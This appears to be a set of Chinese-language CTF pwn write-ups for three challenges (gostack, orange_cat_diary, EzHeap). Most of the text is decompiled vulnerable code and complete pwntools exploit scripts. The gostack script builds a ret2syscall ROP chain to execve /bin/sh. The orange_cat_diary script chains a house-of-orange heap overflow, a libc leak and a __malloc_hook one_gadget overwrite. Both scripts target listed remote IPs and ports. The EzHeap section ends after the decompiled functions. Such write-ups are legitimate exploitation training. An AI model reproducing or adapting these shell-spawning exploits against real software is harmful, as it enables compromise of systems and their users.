gostack
栈溢出,存在一个可以执行的命令的backdoor函数,用了下有些问题,就打ret2syscall了,栈上有一个strings结构体要伪造一下,syscall read到一个可以写的段,写binsh然后syscall execve getshell
from pwn import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "8.147.133.9"
PORT = 17425
elf = context.binary = ELF('./gostack')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
rax = 0x000000000040f984
rdi_r14_r13_r12_rbp_rbx = 0x00000000004a18a5
rsi = 0x000000000042138a
rdx = 0x00000000004944ec
syscall = 0x0000000000404043
bss = 0x564000
payload = b'a' * 0x100
payload += p64(bss + 0x50)
payload += p64(0x50)
payload += b'a' * 0x20
payload += p64(bss)
payload += p64(0x100)
payload += b'a' * 0x90
payload += p64(rdi_r14_r13_r12_rbp_rbx)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(rax)
payload += p64(0)
payload += p64(rsi)
payload += p64(bss)
payload += p64(rdx)
payload += p64(8)
payload += p64(syscall)
payload += p64(rax)
payload += p64(0x3b)
payload += p64(rsi)
payload += p64(0)
payload += p64(rdi_r14_r13_r12_rbp_rbx)
payload += p64(bss)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(rdx)
payload += p64(0)
payload += p64(syscall)
sla('message',payload)
time.sleep(0.3)
s(b'/bin/sh\x00')
p.interactive()
orange_cat_diary
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int choice;
char s[40];
unsigned __int64 v5;
v5 = __readfsqword(0x28u);
sub_B26(a1, a2, a3);
puts("Hello, I'm delighted to meet you. Please tell me your name.");
memset(s, 0, 0x20uLL);
read(0, s, 0x1FuLL);
printf("Sweet %s, please record your daily stories.\n", s);
while ( 1 )
{
while ( 1 )
{
menu();
choice = get_choice();
if ( choice != 2 )
break;
show();
}
if ( choice > 2 )
{
if ( choice == 3 )
{
delete();
}
else if ( choice == 4 )
{
edit();
}
}
else if ( choice == 1 )
{
add();
}
}
}
int menu()
{
puts("\n##orange_cat_diary##\n");
puts("1.Add diary");
puts("2.Show diary");
puts("3.Delete diary");
puts("4.Edit diary");
puts("5.Exit");
return printf("Please input your choice:");
}
__int64 sub_DE9()
{
if ( dword_202014 > 0 )
{
fwrite(ptr, 1uLL, dword_202058, stdout);
--dword_202014;
}
puts("Diary view successful.");
return 0LL;
}
__int64 sub_D83()
{
if ( dword_202010 > 0 )
{
free(ptr);
--dword_202010;
}
puts("Diary deletion successful.");
return 0LL;
}
__int64 sub_CD9()
{
int choice;
printf("Please input the length of the diary content:");
choice = get_choice();
if ( dword_202058 + 8 < (unsigned int)choice )
{
puts("The diary content exceeds the maximum length allowed.");
exit(1);
}
puts("Please enter the diary content:");
read(0, ptr, choice);
puts("Diary modification successful.");
return 0LL;
}
__int64 sub_BF5()
{
int choice;
printf("Please input the length of the diary content:");
choice = get_choice();
if ( (unsigned int)choice > 0x1000 )
{
puts("The diary content exceeds the maximum length allowed.");
exit(1);
}
ptr = malloc(choice);
if ( !ptr )
{
puts("Memory allocation failed.");
exit(1);
}
dword_202058 = choice;
puts("Please enter the diary content:");
read(0, ptr, dword_202058);
puts("Diary addition successful.");
return 0LL;
}
利用堆溢出打house of orange拿到unsortedbin得到libc基地址,之后用那一次uaf的机会任意地址分配,错位字节绕过size检查 打malloc_hook为 one gadget就好了
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "8.147.128.251"
PORT = 43423
elf = context.binary = ELF('./orange_cat_diary')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
p.sendafter = lambda x, y: p.sendafter(x, y)
p.sendlineafter = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
def add(size,content):
p.sendlineafter("Please input your choice","1")
p.sendlineafter("Please input the length of the diary content:",str(size))
p.sendafter("Please enter the diary content:",content)
def show():
p.sendlineafter("Please input your choice","2")
def delete():
p.sendlineafter("Please input your choice","3")
def edit(size,content):
p.sendlineafter("Please input your choice","4")
p.sendlineafter("Please input the length of the diary content:",str(size))
p.sendafter("Please enter the diary content:",content)
ru("Hello, I'm delighted to meet you. Please tell me your name.")
payload = b'\x00' * 0x1f
s(payload)
add(0x38,b"AAAA\n")
edit(0x40,b"A" * 0x38 + p64(0xfc1))
add(0x1000,b'A') # hosue of orange
add(0x408,b'A')
show()
r(6)
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x73d0365c5141 - 0x73d036200000)
success(hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
# 0x45226 execve("/bin/sh", rsp+0x30, environ)
# constraints:
# rax == NULL
# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL
# 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL
# 0xf1247 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL
add(0x68,b"BBBB\n")
delete()
edit(0x68,p64(malloc_hook - 0x23))
add(0x68,b"BBBB\n")
one_gadget = libc_base + 0xf03a4
add(0x68,b"a" * 0x13 + p64(one_gadget))
p.sendlineafter("Please input your choice","1")
# g(p)
p.sendlineafter("Please input the length of the diary content:",str(0x8))
p.interactive()
EzHeap
题目的逻辑是这样的
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+Ch] [rbp-34h] BYREF
__int64 v4[6]; // [rsp+10h] [rbp-30h]
v4[5] = __readfsqword(0x28u);
init();
seccomp_init_0();
v4[0] = (__int64)malloc_heap;
v4[1] = (__int64)free_heap;
v4[2] = (__int64)edit_heap;
v4[3] = (__int64)show_heap;
v4[4] = (__int64)exit_programe;
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v3);
if ( v3 <= 0 || v3 > 5 )
puts("Invalid choice");
else
((void (*)(void))v4[v3 - 1])();
}
}
unsigned __int64 malloc_heap()
{
unsigned int size; // [rsp+0h] [rbp-10h] BYREF
int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
for ( i = 0; i <= 79 && *((_QWORD *)&chunk_list + i); ++i )
;
if ( i <= 79 )
{
printf("size:");
__isoc99_scanf("%d", &size);
if ( size >= 0x501 )
{
puts("error");
exit(0);
}
*((_QWORD *)&chunk_list + i) = malloc((int)size);
memset(*((void **)&chunk_list + i), 0, (int)size);
size_list[i] = (int)size;
printf("content:");
read(0, *((void **)&chunk_list + i), (int)size);
}
else
{
puts("full heap! ");
}
return v3 - __readfsqword(0x28u);
}
unsigned __int64 free_heap()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("idx:");
__isoc99_scanf("%d", &v1);
if ( v1 > 0x4F || !*((_QWORD *)&chunk_list + (int)v1) )
{
puts("error!");
exit(0);
}
free(*((void **)&chunk_list + (int)v1));
*((_QWORD *)&chunk_list + (int)v1) = 0LL;
return v2 - __readfsqword(0x28u);
}
unsigned __int64 edit_heap()
{
unsigned int idx; // [rsp+0h] [rbp-10h] BYREF
unsigned int size; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("idx:");
__isoc99_scanf("%d", &idx);
if ( idx > 0x4F || !*((_QWORD *)&chunk_list + (int)idx) )
{
puts("error!");
exit(0);
}
printf("size:");
__isoc99_scanf("%d", &size);
if ( size >= 0x501 )
{
puts("error");
exit(0);
}
printf("content:");
read(0, *((void **)&chunk_list + (int)idx), (int)size);
return v3 - __readfsqword(0x28u);
}
unsigned __int64 show_heap()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("idx:");
__isoc99_scanf("%d", &v1);
if ( v1 > 0x4F || !*((_QWORD *)&chunk_list + (int)v1) )
{
puts("error!");
exit(1);
}
printf("content:");
printf("%s", *((const char **)&chunk_list + (int)v1));
return v2 - __readfsqword(0x28u);
}
void __noreturn exit_programe()
{
exit(0);
}